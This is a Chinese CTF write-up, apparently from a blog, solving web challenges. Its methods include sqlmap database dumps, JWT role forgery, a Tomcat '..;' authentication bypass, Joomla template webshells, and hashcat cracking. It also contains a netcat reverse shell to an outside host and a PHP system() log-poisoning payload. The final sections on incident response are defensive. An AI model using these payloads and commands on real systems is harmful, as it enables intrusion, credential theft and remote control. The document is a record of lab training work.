破阵阁CTF
破阵阁::CTF
最简单签到
公司开发了一套"安全用户信息查询系统",声称符合最高隐私保护标准,要不看看?

一开始以为是SQL注入,,,其实跟本没有,提示说1-50个员工,直接跑ID1-50
GET /user.php?id=47
47位长度不同,明显藏着flag:

最简单的Web安全入门
这会真是SQL注入了(最简单那种)

数字型的

直接上SQLmap,没有防护啥的

python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 --current-db
python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog --tables
python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog -T users --columns
python sqlmap.py -u http://175.27.169.122:39072/cat.php?id=1 -D photoblog -T users -C password --dump
使用SQL命令,可以直接跑出来flag

游戏营销
安全牛母公司GOOANN准备对外发布游戏来引流。目前测试都通过。现在需要你来验证下。设计可靠吗?
抓包修改响应包,修改app_v2.js即可:
function gameover() {
if (gameScore > 100000) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "api.php", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
alert(response.message);
}
};
var data = {
score: gameScore,
};
xhr.send(JSON.stringify(data));
}
修改游戏逻辑,那么就可以很容易通关获得flag
也可以使用控制台,按F12打开开发者模式
输入以下代码并回车
gameScore = 999999;
gameover();
也会弹出flag
再或者,伪造POST请求,发送数据包,将成绩数据设置为>100000 也可以得到flag


安全牛的ERP
安全牛的ERP系统,但似乎隐藏着一些秘密。管理员声称系统绝对安全,你知道 flag 就藏在 flag.html 中。不过,直接访问它会被拒绝。你能找到绕过限制的路径吗?
提示很明显,绕过鉴权即可得到flag
不同的中间件对同一段 URL 路径的“归一化(Normalization)”处理逻辑不一致。
第一阶段:权限校验(WAF 或 Spring Security / Interceptor)
逻辑: 鉴权系统(比如 Nginx 或 Java 拦截器)会扫描 URL,试图匹配哪些路径需要登录。
误判: 鉴权规则可能设定为:“如果访问的是 .js, .css, .jpg 等静态资源,则直接放行(白名单)”。
结果: 鉴权系统看到路径以 /js 开头,或者认为这只是一个静态文件的请求,觉得“这很安全”,于是放行。
第二阶段:后端服务器解析(Tomcat/Spring)
逻辑: 当请求到达真正的 Servlet 处理引擎(如 Tomcat)时,它会进行路径解析。
关键符号:
..:表示返回上一级目录。
;:这是 Java 特有的解析特性(矩阵参数/路径参数)。Tomcat 在遇到分号时,会认为分号后面的内容是参数而非路径的一部分。
转换过程:
接收:/js/..;/flag.html
识别 ..:跳出 /js/ 目录。
识别 ;:忽略 ; 到 / 之间的内容(即忽略空字符串)。
最终指向: /flag.html。

贼牛掰的身份鉴权,还怕在失陷?
前面失陷太多了,这回管理员做了一个贼牛掰的身份鉴权方式,咱们瞅一眼?
尝试登录,会给一个账号密码
登录之后会有一个token:
Cookie: JSESSIONID=60BEC967DF36F05121161DEC8212635D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODY1NzcxMTI5LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDQuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODY1NzcxfQ.LFn6deg8jpcW_yWL1Of1iVgptnjMeEKAdjTpj-oPM3M
那么直接丢到Tscan破解,然后将role修改成admin,改cookie发包即可得到flag


小小的挑战
本轮挑战仅有一个入口点、一个flag,且没有任何提示。 要获得flag,你显然需要获取t权限。 如何成为getshell完全取决于你的技术 —— 以及系统的配置。 祝你好运 —— 希望你会喜欢这个小小的挑战 :-)

使用Tscan的POC进行检测,发现存在SQL注入漏洞

依旧直接上SQLmap:
python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 --current-db
python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb --tables
python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb -T #__users --columns
拿列名的时候需要爆破,不过字典的够用了
python sqlmap.py -u "http://175.27.169.122:41045/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -p "list[fullordering]" --level=2 --risk=3 --random-agent --technique=BEUT --threads=3 -D joomladb -T #__users -C "password,username" --dump
| password | username |
+--------------------------------------------------------------+----------+
| $2y$10$HzPTX6G2YtkYW/JhDPMMiuJqm1x3tvKhSAjt3XbzxpRbG4FZl8CN6 | ducktail

登录后台:

选择:Protostar Details and Files

New一个新文件即可,然后写入一句话木马
http://175.27.169.122:41045/templates/protostar/1.php 这是默认地址:::
使用Webshell管理工具连接即可
管理员听说了之前的入侵事件,匆忙增加了一些防护措施。 但正如他们所说—— "有点限制,但是不多" 。 这些限制足以阻挡脚本小子,但对你来说,或许只是多一步思考的事情。
目录扫描:存在registration.php 注册页面
activate.php 激活账号页面
我们先注册,然后提示需要激活,发现账号ID是?u=14


这里应该是爆破6位的激活码了,然后发现每次发送会有token

使用Burp或者Yakit提取token爆破:




激活后就可以正常使用,发现一个账号比较独特,是管理员,而且密码在源代码中


使用Hashcat破解
.\hashcat.exe -m 100 -a 3 62054333fd85be1e8ccba447304a45ebf4123808 ?a?a?a?a?a?a?a?a?a?a -i
62054333fd85be1e8ccba447304a45ebf4123808

登录管理员后台,有一个命令执行的地方
尝试反弹shell,发现过滤空格,使用Tab键替代,nc vps 12345 -e /bin/sh
查看flag


激进的开发者
管理员的开发者是个激进的人——他喜欢尝试最新功能、最短代码、最直接的实现方式。 这种性格在代码里留下了痕迹:一个"极简"的API、几行"高效"的脚本、还有一个"为了方便"留下的后门。 这次不需要绕弯子,用你最直接的方式拿到flag。

注册一个账号,然后登录,有一个search的功能,这里存在SQL注入

使用SQLmap直接梭哈:
python sqlmap.py -r 123.txt --current-db
python sqlmap.py -r 123.txt -D webapphacking --tables
python sqlmap.py -r 123.txt -D webapphacking -T users --columns
python sqlmap.py -r 123.txt -D webapphacking -T users -C "pasword,user,name" --dump
登录管理员账号密码后,有文件上传点,上传一句话木马就可以连接查看flag了


或者使用SQL的文件读取函数,不过需要知道flag的文件位置

遗忘的调试信息
情报显示,某敌对势力的Web系统正在开发中。我们的特工在夜间潜入机房,发现系统首页还是默认状态,但开发者似乎留下了调试入口。 你的任务是找到并利用这些疏忽,渗透进系统获取最高权限,窃取其核心机密(flag)。

目录扫描,发现 http://175.27.169.122:39514/antibot_image
通过/antibot_image/这个界面的访问记录到了 2026-02-01-access.log
然后,info.php可以接收image文件进行文件包含
那么
GET /antibot_image/ HTTP/1.1
Host: 175.27.169.122:39514
Upgrade-Insecure-Requests: 1
User-Agent: <?php @system($_POST['cmd']); ?>
然后POST /antibot_image/antibots/info.php?image=/var/www/html/antibot_image/log/2026-02-01-access.log
进行WebShell
使用哥斯拉进行连接


/home/www-data/flag


webshell被删除了
小明的系统里有一个tomcat,突然有一天他收到通知说他的系统被攻击了,你能帮他找到攻击者残留的痕迹吗?
账号 root 密码 idgfxuxvr2tqekhz
在Tomcat的work/Catalina/localhost/a 下保留着编译后的JSP
存在 webshell 访问过的缓存文件,查看 login_jsp.java 获得 flag
暗影迷踪
安全团队发现一台运行Tomcat服务的服务器遭到了入侵。攻击者在系统中植入了后门,你的任务是彻底清除所有后门痕迹,获取最终的flag!
应急响应,账号 root 密码 idgfxuxvr2tqekhz
已经说了运行Tomcat,确认 Tomcat 状态 & 路径
ps aux | grep tomcat
查 JSP 文件
find / -name "*.jsp" 2>/dev/null
查定时任务:
crontab -l
ls /etc/cron.*
cat /root/.ssh/authorized_keys
cat /etc/passwd
find / -iname "*flag*" 2>/dev/null
find / -iname "*note*" 2>/dev/null
Tomcat:
ls webapps/
find webapps -name "*.jsp"
grep -R "Runtime.getRuntime" webapps/
然后杀进程,删除后门,清除Webshell
这题:
删除定时任务
crontab -e
删除Webshell和后门文件
rm -rf /opt/apache-tomcat-8.5.100/webapps/a
rm -rf /opt/apache-tomcat-8.5.100/webapps/examples
rm -rf /var/crash/*
运行flagcheck
诡异的命令执行
WireShark打开后搜索字符串:flag{ 直接锁定了flag



浙公网安备 33010602011771号